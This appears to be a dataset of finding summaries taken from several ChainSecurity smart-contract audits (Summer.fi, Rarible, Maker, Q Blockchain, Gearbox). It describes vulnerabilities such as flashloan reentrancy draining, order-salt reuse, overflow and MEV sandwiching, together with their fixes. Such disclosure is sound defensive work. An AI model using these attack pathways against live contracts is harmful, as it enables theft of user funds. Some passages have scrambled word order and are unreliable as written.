only checked in the beginning, not at the end. So an attacker can add any operations they want using reentrancy. In summary, if there is an unsafe external call (reentrancy) in any nested action taken by a user during a Balancer Flashloan, their entire Proxy's balance can be drained. Nested OperationExecutorV2 at a time when it has execution rights on the Proxy of the original caller. flashloans are now prevented, the main concern of this solves reentering the Technically this works as follows: OperationExecutorV2 now features a flag isFlashloanInProgress. Upon a callback through one of the flashloan interfaces (the callback by the flashloan provider is executed in the context of the OperationExecutorV2) checkIfFlashloanIsInProgress ensures no flashloan is in progress already by ensuring the flag is equal to 1. processFlashloan() sets the flag to 2 before dispatching the callback to the Proxy context and resets the flag to 1 after it returned. Note that outisde of flashloan actions, the following still applies: For the Balancer integration however, the ``initiator`` is given in calldata of the Balancer call instead of Balancer returning the ``msg.sender``. It is important that outside of flashloan actions the OperationExecutorV2 does not have any priviledges on any proxy. Summer.fi - DeFi Modular Actions v2 - 13 \f6.2 Inefficient txStorage In OperationExecutor's aggregate(), actions are written into txStorage as follows: txStorage.actions = abi.encodePacked(txStorage.actions, targetHash); CS-DMAV2-006 This unnecessarily reads all past actions out of storage and then rewrites the same data into storage again, which costs gas each time. To reduce gas consumption, just the new data could be added at the end. Writing to (multiple) storage slots is expensive. It would also be possible to hash actions one by one instead of at the end, allowing only a single storage slot to be used instead of one for each action. aggregate() now pushes the executed action to the storage without reading the previous actions every time: txStorage.actions.push(targetHash); executeOp() retrieves the stored actions once after the execution of aggregate() completed and encodes them, the result is the same as the previous txStorage.actions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "6.3 SafeMath Is Not Needed", "body": " An outdated version of the SafeMath library is used. Since Solidity 0.8, the overflow checks that were previously done in SafeMath are now enforced by default. As a result, the library is no longer needed. If SafeMath is used for the custom revert strings, the new version of SafeMath should be used. CS-DMAV2-003 SafeMath has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "6.4 SendToken Functionality Differs for Native", "body": " Tokens The SendToken action has the following NatSpec: CS-DMAV2-004 Summer.fi - DeFi Modular Actions v2 - 14 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f//@title SendToken Action contract //@notice Transfer token from the calling contract to the destination address For ERC-20 tokens, the implementation sends tokens that are held by the delegatecalling contract. However, for native ETH, the implementation only forwards ETH that was sent as msg.value along with the originating function call. In this case send.amount is ignored. It cannot send ETH that was already held by the delegatecalling contract. After the intermediate report the description was updated and now explains the different behavior for ERC-20 tokens and Ether. The description for Ether is inaccurate however: The amount of ETH that can be transferred is either the whole or partial (whether some amount has been used in other actions) amount from the amount that the transaction has been called with ( msg.value ). If the proxy contract contains any prior ETH balance, it CANNOT be transferred. The delegatecalls into the code of the actions during the loop in aggregate() preserve msg.value. payable(address).transfer(msg.value) attempts to transfer this amount which succeeds only if sufficient Ether is available. Either the Ether sent along the original call has not yet been spent and is available for the onward transfer or the Proxy has additional Ether balance which can be used. SendToken has been changed, the behavior for the native token now matches the functionality for ERC-20 tokens. The new description now describes the actual behavior of the action. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "6.5 ERC-1967", "body": " The description of library StorageSlot reads: CS-DMAV2-002 This library is a small implementation of EIP-1967. Unlike that EIP which usage is to store an address to an implementation under specific slot, it is used to storage all kind of information that is going to be used during a transaction life time. While the library is suitable for the intended use, mentioning EIP-1967 can be confusing and strictly speaking is incorrect: This EIP standardises the storage slots for the the following addresses: implementation, beacon and admin only. The EIP states: More slots for additional information can be added in subsequent ERCs as needed. The StorageSlot library borrows the idea how the storage slot is chosen to avoid any collision with high probability from the EIP-1967 but is otherwise not connected to and does not implement or adhere to EIP-1967. Summer.fi - DeFi Modular Actions v2 - 15 InformationalVersion1Speci\ufb01cationChanged \fSpecification changed: Summer.fi removed the misleading reference to ERC-1967 from the description. Summer.fi - DeFi Modular Actions v2 - 16 \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "7.1 Missing Event", "body": " In OperationsRegistry, the transferOwnership function does not emit an event. CS-DMAV2-001 Acknowledged: Summer.fi states they do not emit events on ownership change in any contract. Summer.fi - DeFi Modular Actions v2 - 17 InformationalVersion1Acknowledged \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "8.1 DsProxy With Unsupported Authority", "body": " A user is free to set the authority contract of his own DSProxy. Depending on the authority contract set, which may be arbitrary, ProxyPermission.givePermission() may not be successful. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "8.2 Reentrancy Could Delete Transient Storage", "body": " The executeOp function in OperationExecutor could be reentered, which deletes the txStorage. However, this is only possible if the msg.sender has execute() privileges for the executeOp function on the UserProxy and can reenter. This should only be the case for the user, meaning they could only circumvent the legal operations check for themselves by deleting txStorage. Summer.fi - DeFi Modular Actions v2 - 18 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-defi-modular-actions-v2/"}, {"title": "5.1 Cancel Order Authorization Differs From", "body": " Match Function validate of OrderValidator contract permits matches in cases when the message sender is not the order maker. This can be done when the order maker is an ERC1271 implementation or when the sender provides a valid signature. During the cancellation the only check that is done is: require(_msgSender() == order.maker, \"not a maker\"); This check is more strict than the matchOrders authorization rules and limits the possible pool of parties that can use this entry-point, for example, ERC1271 contracts cannot cancel their orders. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "5.2 Dependency on EIP712Upgradeable", "body": " Contract OrderValidator uses EIP712Upgradeable contract from openzeppelin library, which is currently in a draft stage. That increases the risk of bugs and errors in all contracts that use this dependency. In addition draft library contracts tend to be inefficient. For example in current version, every call (_EIP712NameHash(), two _EIP712VersionHash()) which together cost 4200. That is fairly unnecessary. _hashTypedDataV4 lookups storage triggers to import \"@openzeppelin/contracts-upgradeable/drafts/EIP712Upgradeable.sol\"; Rarible Inc. - Exchange V2 - 8 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedLowRiskAcceptedRiskAcceptedDesignMediumVersion1RiskAcceptedSecurityLowVersion1RiskAccepted \f5.3 Missing Indexes In Events In ExchangeV2Core the events Cancel and Match contain no indexed fields. Indexing order hashes will help to avoid performance issues on node clients. Rarible Inc. - Exchange V2 - 9 DesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings doTransfers Does Not Hanlde LibFeeSide.FeeSide.NONE -Severity Findings Function safeGetPartialAmountFloor Precision Problems Order Salt Problems Orders With Salt 0 Can Be Canceled -Severity Findings Compiler Version Not Fixed Contracts Can Be Order Makers Precision Check in calculateRemaining Problem 0 1 3 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.1 doTransfers Does Not Hanlde", "body": " LibFeeSide.FeeSide.NONE doTransfers performs the transfer of assets after choosing which is the feeable side. However, getFeeSide can return the value LibFeeSide.FeeSide.NONE in the case none of the assets are ETH or ERC20 or ERC1155. This value is not handled by the function doTransfers which results to the transfer not being performed. doTransfers was changed to handle LibFeeSide.FeeSide.NONE. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.2 Function safeGetPartialAmountFloor", "body": " Precision Problems target) The function safeGetPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 LibMath the numerator * target / denominator and reverts on too much divergence from the correct value. Due to the different nature of tokens ( ETH, ERC20, ERC721, etc.) and different decimals on them, the actual values sent to this function can be of different orders. In cases when the denominator is greater effectively computes contract defined in Rarible Inc. - Exchange V2 - 10 CriticalHighCodeCorrectedMediumSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedDesignHighVersion1CodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChanged \fthan the numerator * target the 0 will be returned. This can lead to situations when the orders cannot be matched. For example order \"Buy 30 for 600X\" cannot be matched with order \"Sell X for 10\", because the fillRight function that relies on safeGetPartialAmountFloor will return (10, 0) value that later will fail the check in matchAndTransfer function. The safeGetPartialAmountFloor function is used in following places: Function fillLeft in LibFill contract. Function fillRight in LibFill contract. Function calculateRemaining in LibOrder contract. In this case, big, close to filling values may fail. Specification corrected: Now the specification correctly communicates the behavior of the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.3 Order Salt Problems", "body": " The salt is effectively a field of an order that allows different orders of the same asset types from the same maker to be distinguishable from each other. This field is also part of the hashKey of the order that is used to track the filling of the order. However, due to the lack of Asset values in the hashKey, the same value for salt can be resubmitted with higher-order take value, and thus lead to multiple full filling of the same order. For example, an order that makes 20 take X after filling can be resubmitted with the same salt and higher take limit: make 30 take 2X. Note that after cancellation the salt becomes unusable for the maker. From a specification point of view, it the order with same hashKey shouldn't be fully filled multiple times. function hashKey(Order memory order) internal pure returns (bytes32) { return keccak256(abi.encode( order.maker, LibAsset.hash(order.makeAsset.assetType), LibAsset.hash(order.takeAsset.assetType), order.salt )); } Specification corrected: The behavior was documented and properly described in exchange-v2/readme.md. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.4 Orders With Salt 0 Can Be Canceled", "body": " The filling degree of orders with salt 0 is not tracked in the matchOrders function. But the calculateRemaining function will use the value from fills map to compute the remaining value that needs to be filled. The cancel function effectively sets the fills map value to the UINT256_MAX value. Users can also cancel orders with salt 0, effectively making the asset pair not longer usable with salt 0. Rarible Inc. - Exchange V2 - 11 DesignMediumVersion1Speci\ufb01cationChangedDesignMediumVersion1CodeCorrected \f A check that prevents 0 salt order cancellation was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.5 Compiler Version Not Fixed", "body": " The solidity compiler is not fixed in the code. In addition, different files define different pragmas. The version, however, is defined in the truffle-config.js to be 0.7.6. In the code the following pragma directives are used: pragma solidity >=0.6.2 <0.8.0; pragma solidity >=0.6.9 <0.8.0; The pragma was fixed to 0.7.6 for all contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.6 Contracts Can Be Order Makers", "body": " Maker and Taker of orders can be contracts with the help of the ERC1271 standard. In addition, fee receiving parties can be contracts too. If native ether is used as an asset during the match, the transfers can fail if the contracts do not implement a payable fallback function. The system specification should clearly communicate this requirement to the users. Specification corrected: The expectations from contracts were documented and described in exchange-v2/readme.md. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.7 Precision Check in calculateRemaining", "body": " Problem Due to a precision check in function calculateRemaining orders with different magnitudes of take and make values can become unfillable even with a small filling degree. For example, Order with make 10 take 100 cannot be filled if fill amount of take is 15. In calculateRemaining the remaining make value for that order will be approximated with value 8. Because the true value of 8.5 cannot be expressed with integer numbers, the error of 0.5 will exceed 0.1% limit that is built-in in calculateRemaining due to utilization of LibMath.safeGetPartialAmountFloor function. precision The commit 839710b1bd7ed11fc22fa2093f408934b92ccf35. This fix prevents premature order freeze. With the fix, in calculateRemaining function was removed check in Rarible Inc. - Exchange V2 - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \fonly the last make item of the order can be unsellable. For example, an order with make 10 take 100 cannot be fully filled if the fill amount of take is 95, as the 0.5 make value will be estimated by calculateRemaining function as 0. With help of order extension functionality, such orders can be fixed via signature resubmission with greater values. The precision check for price computation is still used. Rarible Inc. - Exchange V2 - 13 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.1 Accumulation of Rounding Errors", "body": " The fullfilment of an order is tracked by the fills mapping. The remaining part comes from the subtraction of the value the fills mapping holds for a particular order from the total take value of the order. if (orderLeft.salt != 0) { fills[leftOrderKeyHash] = leftOrderFill.add(newFill.takeValue); } if (orderRight.salt != 0) { fills[rightOrderKeyHash] = rightOrderFill.add(newFill.makeValue); } the value added However, in LibOrder.calculateRemaining. Division might introduce some rounding erros which gradually accumulate if an order is partially filled multiple times. Notice that the implemenation tolerates a 0.1% rounding error. is a result of a division occuring the fills mapping to function calculateRemaining(Order memory order, uint fill) internal pure returns (uint makeValue, uint takeValue) { takeValue = order.takeAsset.value.sub(fill); makeValue = LibMath.safeGetPartialAmountFloor(order.makeAsset.value, order.takeAsset.value, takeValue); } function safeGetPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { if (isRoundingErrorFloor(numerator, denominator, target)) { revert(\"rounding error\"); } partialAmount = numerator.mul(target).div(denominator); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.2 AssetMatcher Gas Efficiency", "body": " The matchAssetOneSide function in AssetMatcher contract effectively decides if two assets types can be matched. It also contains logic for matching assets that are not yet known to the systems: if (classLeft == classRight) { bytes32 leftHash = keccak256(leftAssetType.data); bytes32 rightHash = keccak256(rightAssetType.data); if (leftHash == rightHash) { return leftAssetType; } } Rarible Inc. - Exchange V2 - 14 NoteVersion1NoteVersion1 \fThis piece of code works for all known asset types as well. In addition, it is more efficient than the current matchAssetOneSide for most of the known asset types. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.3 Incentives for Front-Running", "body": " In case when 2 assets that can pay fees are exchanged, the order of arguments in matchOrders function might matter. Moreover it determines the price and thus the amounts exchanged between the two parties. There might be third parties that are incentivised to front-run the transactions in order to determine the position of the orders for their own interest. The users should be aware of such events. In addition, once the transactions are visible in the mining pool, any other parties can try to frontrun the match, to profit from matching with lower fees or good price. Illustration of order importance: Let A and B be an ERC20 and ERC1157 token respectively. Accoring to the contract logic currently implemented, the feeable token is A. Assume two orders O1:(10A, 20B) and O2:(50B,11A) Executing matchOrder(O1, O2) yields fillResult(10A, 20B) (fillLeft will be called). On the other hand, executing matchOrder(O2, O1) yields fillResult(20B, 220/50A) (fillRight will be called). Assuming a fee of 10% then in the first case we have 0.1 * 10A and the second 0.1* 220/50 A ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.4 Orders Can Pay No Fees", "body": " Before transfering the assets to the corresponding parties the fee side is chosen. The side is chosen to be the one that offers ETH or ERC20 or ERC1155. If there is no such types in make and take assets of the order, the fees won't be deducted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.5 Reentrancy Risk", "body": " In the matchOrders can occur calls to other contacts and addresses. For example, during the native ether transfer or during the transfer of tokens that allow user hooks e.g. ERC777 (extension of ERC20). While we haven't identified a direct way, how this can be abused. But risk of reentrancy is nullified when a non-reentrant lock is used, for a price of small gas cost increase. In addition, following transfers of ether will send all the gas to the callee, allowing it to execute any other contract with no restrains. (bool success,) = to.call{ value: value }(\"\"); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.6 The Order of Orders Determines The Price", "body": " In centralized order book-based exchanges, the price of matchable orders with different prices is usually determined by the order with the earliest submission time. In the current implementation, the price is determined by the left order. While the centralized method is not applicable to this system, the current behavior should be documented in specification, as the users should be aware of the price formation. Rarible Inc. - Exchange V2 - 15 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.7 Use of SafeMath There are many instance where the SafeMath is not used. Such calculations can lead to overflows and, thus, unexpected behavior. No dangerous overflows have been found during the overflow, however, the use of SafeMath is recommended. For example such calculations happen in transferPayouts function on sumBps accumulator. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "7.8 Validate Gas Efficiency", "body": " Function validate in OrderValidator contract can be restructured for a lower gas cost. The isContract check is performed in all cases when the message sender is not the maker. Assuming that the most popular cases are when the maker is not a contract, the signature check can be performed first, before the isContract check. Rarible Inc. - Exchange V2 - 16 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/rarible-exchange-v2-smart-contracts/"}, {"title": "6.1 NstToDai Can Be Paused if DaiJoin Is Paused", "body": " The DaiNst converter itself is permissionless. However, if DaiJoin is paused, NstToDai() will be indirectly paused as exit() will revert on DaiJoin. Note that this theoretically possible situation does not apply to the existing Maker's DaiJoin deployed at 0x9759A6Ac90977b93B58547b4A71c78317f391A28. The only ward of this contract is its deployer contract DaiJoinFab, which is immutable and does not have the functionality to pause the daiJoin by calling cage() nor to add more wards. MakerDAO - NST - 10 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-nst/"}, {"title": "5.1 Constitution and Experts Keys", "body": " 0 0 0 3 All the registry keys for common, governance, and tokeneconomics have been grouped in Globals.sol as constant. However, it is not the case with other keys like the constitution and governed parameters keys. An accidental typo in the string constant can lead to potential system misconfiguration. Risk accepted: Q Blockchain accepts the risk and decides to leave the code as it is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "5.2 FxPriceFeedMedianizer Price Feed", "body": " Manipulation Since all the data submitted by the subfeeds is immediately visible on-chain, malicious subfeed can decide what data to submit and manipulate the outcome of the computed round. By submitting a value above or below the current median the subfeed provider has limited control over the outcome. Assuming that subfeeds are trusted, this has a limited likelihood of happening. Risk accepted: Q Blockchain accepted the risk and states: Q Blockchain - System contracts v1.2 - 11 DesignTrustCriticalHighMediumLowRiskAcceptedRiskAcceptedRiskAcceptedDesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fThe subfeeds are considered trustworthy, also the price manipulation is quite limited in range since the resulting price is a median and by definition insensitive to extreme values. Therefore the impact of a malicious subfeed would be minimal. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "5.3 FxPriceFeedMedianizer Subfeeds", "body": " Consistency Multiple subFeed parties need to provide the rate in a given round to compute the exchangeRate. The following problems can potentially arise during the lifetime of this contract: 1. Due to the concurrent nature of the blockchain, subfeeds cannot control when their submit() call will be included in the chain history. In addition, the submit reverts if the same subfeed msg.sender tries to republish the rate in the same round. The submit transaction submitted at the very start of the new round may be counted in the previous round, due to random delays between transaction creation and block confirmation. 2. The subfeeds rates provided to the FxPriceFeedMedianizer contract are not sanitized. It is possible to provide subfeeds that do not match the pair, decimals, or base token address. The only sanity check performed on the submitted rate is the rate >=minRateValue check. A misconfiguration on the subfeed side can lead to a wrong exchangeRate as a result. Risk accepted: Q Blockchain accepts the risk and states: 1. We don't see a downside of their submission just going an earlier or later round. 2. If a subfeed reports the price for a wrong asset it will probably always be far from the median. So, it does not immediately affect the price but the owner can detect this and remove the subfeed. We consider this also low severity and would accept the risk. Q Blockchain - System contracts v1.2 - 12 DesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings FullMath Operation Correctness Issue -Severity Findings -Severity Findings Reward Allocation Can Be Blocked Code Duplication Floating Dependencies Versions Reentrancy Possibility on Root Node Approval Voting Unused Functionality and Libraries FxPriceFeedMedianizer Missing Events FxPriceFeedMedianizer Rate and Update Time 0 1 0 7 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.1 FullMath Operation Correctness Issue", "body": " The FullMath.mulDiv(uint a, uint b, uint denominator) the floor(a\u00d7b\u00f7denominator) operation. A similar function exists in the UniswapV3 core codebase. However due to the change of the solidity compiler version from 0.7.6 to 0.8.9, some modifications were made to account for the default SafeMath arithmetic operations behavior. This computation happens in FullMath.mulDiv code: function performs prod0 := add(prod0, mul(prod1, twos)) While Uniswap library performs this operation: prod0 |= prod1 * twos; Please note that this operation occurs in the unchecked block. As a result, the FullMath.mulDiv computation yields undesired results. For example, this assignment of arguments causes overflow and panic in the FullMath.mulDiv. a = 2**255 b = 2**255 denominator = 57896044618658100000000000000000000000000000000000000000000000000000000000001 The correct computation should yield 5789604461865809542357098500868799828994258986484 4074485766219939100404438900. Q Blockchain - System contracts v1.2 - 13 CriticalHighCodeCorrectedMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignHighVersion1CodeCorrected \f The FullMath.mulDiv function has been replaced by the OpenZeppelin v4.8.0 implementation. It uses Solidity compiler above 0.8.0 version. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.2 Reward Allocation Can Be Blocked", "body": " In event was added: of the code in ValidationRewardProxy and RootNodeRewardProxy the Allocated emit Allocated(beforeAllocation - address(this).balance); The allocation happens with the help of the PushPayments contract that performs a call with 30000 gas. Malicious Validator or Root in their fallback function can transfer an amount that is greater than beforeAllocation back to the reward proxy. This way the computation of the event argument will overflow. As a result, the allocation of rewards will be blocked. The severity of this issue is low since Roots are trusted and Validators can be slashed. A variable has been added to aggregate the allocated amounts instead of computing a difference. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.3 Code Duplication", "body": " 1. In the Validators to registry.mustGetAddress(RKEY__VOTING_WEIGHT_PROXY) is inlined multiple times, while to registry.mustGetAddress(RKEY__VALIDATORS_SLASHING_VOTING) are the calls grouped under the _getSlashingVotingAddress() view function. Having a single getter function for the voting weight proxy registry key would be consistent with the rest of the codebase. contract, call the 2. In function clearVault(address, _vaultId, _amountToClear, _beneficiary) basically duplicates the functionality of transferCol, followed by _clearVault. BorrowingCore, the 1. The inlined calls _getConstitutionParametersAddress() and _getVotingWeightProxyAddress(). by more consistent replaced been have calls to 2. Functions clearVault and transferCol have been marked as deprecated and are kept for backward compatibility. Q Blockchain - System contracts v1.2 - 14 TrustLowVersion3CodeCorrectedVersion3DesignLowVersion1CodeCorrected \f6.4 Floating Dependencies Versions The versions of @opengsn and @openzeppelin in package.json is not fixed. This could break the codebase if a new version has breaking changes. Upgradeable contracts that rely on proxy pattern can be rendered broken if the new version of the dependency contract introduces or changes the order of defined storage fields. The versions of @opengsn and @openzeppelin have been fixed to 2.2.4 and 4.3.3. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.5 Reentrancy Possibility on Root Node", "body": " Approval Voting In ARootNodeApprovalVoting.approve, there is a call to onExecute. ARootNodeApprovalVoting._execute, function the called by Since the ARootNodeApprovalVoting is abstract, contracts that inherit from it may execute arbitrary external code and re-enter during this call. The function ARootNodeApprovalVoting.approve can be called again the because _proposal.executed is set to true only after the call to onExecute. However, relying on the trust model, should not be an issue since the function can only be called by trusted root nodes when the majority is reached. Nevertheless, the Checks-Effects-Interactions pattern is violated. The flag _proposal.executed is set to true before the call to onExecute. The function adheres to the check effect interaction pattern now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.6 Unused Functionality and Libraries", "body": " The following list contains problems due to imports, inheritance and usage of the libraries and contracts that are not needed. The redundant code can be removed. The SafeMath library is not used anymore in the code since the compiler version is now 0.8.9. However, some SafeMath library imports are left in the source code, as well as some using SafeMath for uint256. The PushPayments contract is Initializable but the functionality is never used and can be removed. Code partially corrected: The SafeMath library has been completely removed. Q Blockchain - System contracts v1.2 - 15 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The PushPayments contracts Initializable functionality while not used in the current version might be needed in the future. To prevent problems with storage layout it is necessary to keep the Initializable functionality of the PushPayments. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.7 FxPriceFeedMedianizer Missing Events", "body": " The FxPriceFeedMedianizer contract does not emit events when certain state changes occur. For example: addSubFeed removeSubFeed setMinSubmissionsCount setMinRateValue _closeRound The lack of such events complicates the reproduction of the contract state off-chain. Thus, SubFeed providers might need custom solutions for monitoring the chain to know when a new rate must be submitted. The events MinSubmissionsCountSet, FxPriceFeedMedianizer. ExchangeRateUpdated, SubFeedAdded, and MinRateValueSet have SubFeedRemoved, in added been ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.8 FxPriceFeedMedianizer Rate and Update", "body": " Time New exchangeRate is computed only after a round where minSubmissionsCount limit of submissions was reached. External protocols and systems can mistakenly use stale exchangeRate if updateTime is not properly inspected. There is no default way to get both the rate and update time in a single call A getter returning both the rate and the time has been added. Q Blockchain - System contracts v1.2 - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "7.1 Finalized Withdraw Address", "body": " For an address to be finalized in WithdrawAddresses, a root/validator node must provide proof of ownership to Q Development AG. One of the limitations set by Q Blockchain is to disallow withdrawals to the main account. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "7.2 Gas Optimization", "body": " 1. The majority of the updates of the form x = x +/- y have been optimized to x +/-= y, but there remains some unoptimized variable updates. An unexhaustive list is: BorrowingCore.depositCol : userVaults[msg.sender][_vaultId].colAsset = userVaults[msg.sender][_vaultId].colAsset + _amount; BorrowingCore.getAggregatedTotals: _totalsInfo.outstandingDebt = _totalsInfo.outstandingDebt + _colOutstandingDebt; Saving.deposit: aggregatedNormalizedCapital = aggregatedNormalizedCapital + (_newNormalizedCapital - normalizedCapitals[msg.sender]); Saving.withdraw: aggregatedNormalizedCapital = aggregatedNormalizedCapital - (normalizedCapitals[msg.sender] - _newNormalizedCapital); 2. The modifier ARootNodeApprovalVoting.onlyRoot takes an address as an argument, but is only used with msg.sender. Removing the argument and using directly msg.sender will save gas. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "7.3 Storage Variables Visibility", "body": " Some variables that are currently internal in contracts that are not inherited can be made private. Saving.registry, AExpertsMembershipVoting.registry, Examples ValidationrewardPool.registry, FxPriceFeedMedianizer.pair, or Saving.stc. are: Q Blockchain - System contracts v1.2 - 17 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/q-blockchain-system-contracts-v1-2/"}, {"title": "6.1 Call to Vow.flap() Can Be Sandwiched", "body": " The parameters for the FlapperUniV2 deployed at time of the audit are a lot of 5000 DAI, a cooldown period of 1577 seconds between calls to Vow.flap(), and 98% slippage tolerance through want. An MEV searcher can therefore sandwich the Vow.flap() call and extract up to 2% of the 5000 DAI every 26 minutes. The gas cost of calling flap() is around 20$ at the current gas price of 30 Gwei. Assuming the sandwich attack gas cost is within the same order of magnitude (one frontrunning transaction and one backrunning transaction, on warm token addresses, and warm Uniswap pool), we expect a MEV searcher to extract a profit of around $50 per call. This amounts to a possible loss for the protocol of around $2800 daily. MakerDAO - FlapperUniV2SwapOnly - 10 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-flapperuniv2swaponly/"}, {"title": "6.1 Advance to Wrong Stage", "body": " When all deposits are done and meet the minimum requirements but no trades happen, consequently, the stage is not advanced and the stage FAIR_TRADING would never be active. If claimLP is called after fairTradingEnd it will not be possible to claim because the stage is still in ETH_DEPOSIT instead of FAIR_TRADING . advanceStage needs to be called first to allow claiming the LP tokens in this case to put the stage into FAIR_TRADING and allow the stage progression to be finished in the next iteration. If fairTradingEnd is reached in the ETH_DEPOSIT stage, the next call will automatically advance the stage to FINISHED. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-auction/"}, {"title": "6.2 ETH Transfer", "body": " The contract uses the native transfer function to transfer ETH to users. As this function can only use up to 2,300 gas, users using contracts (e.g., Gnosis Safe) to transfer 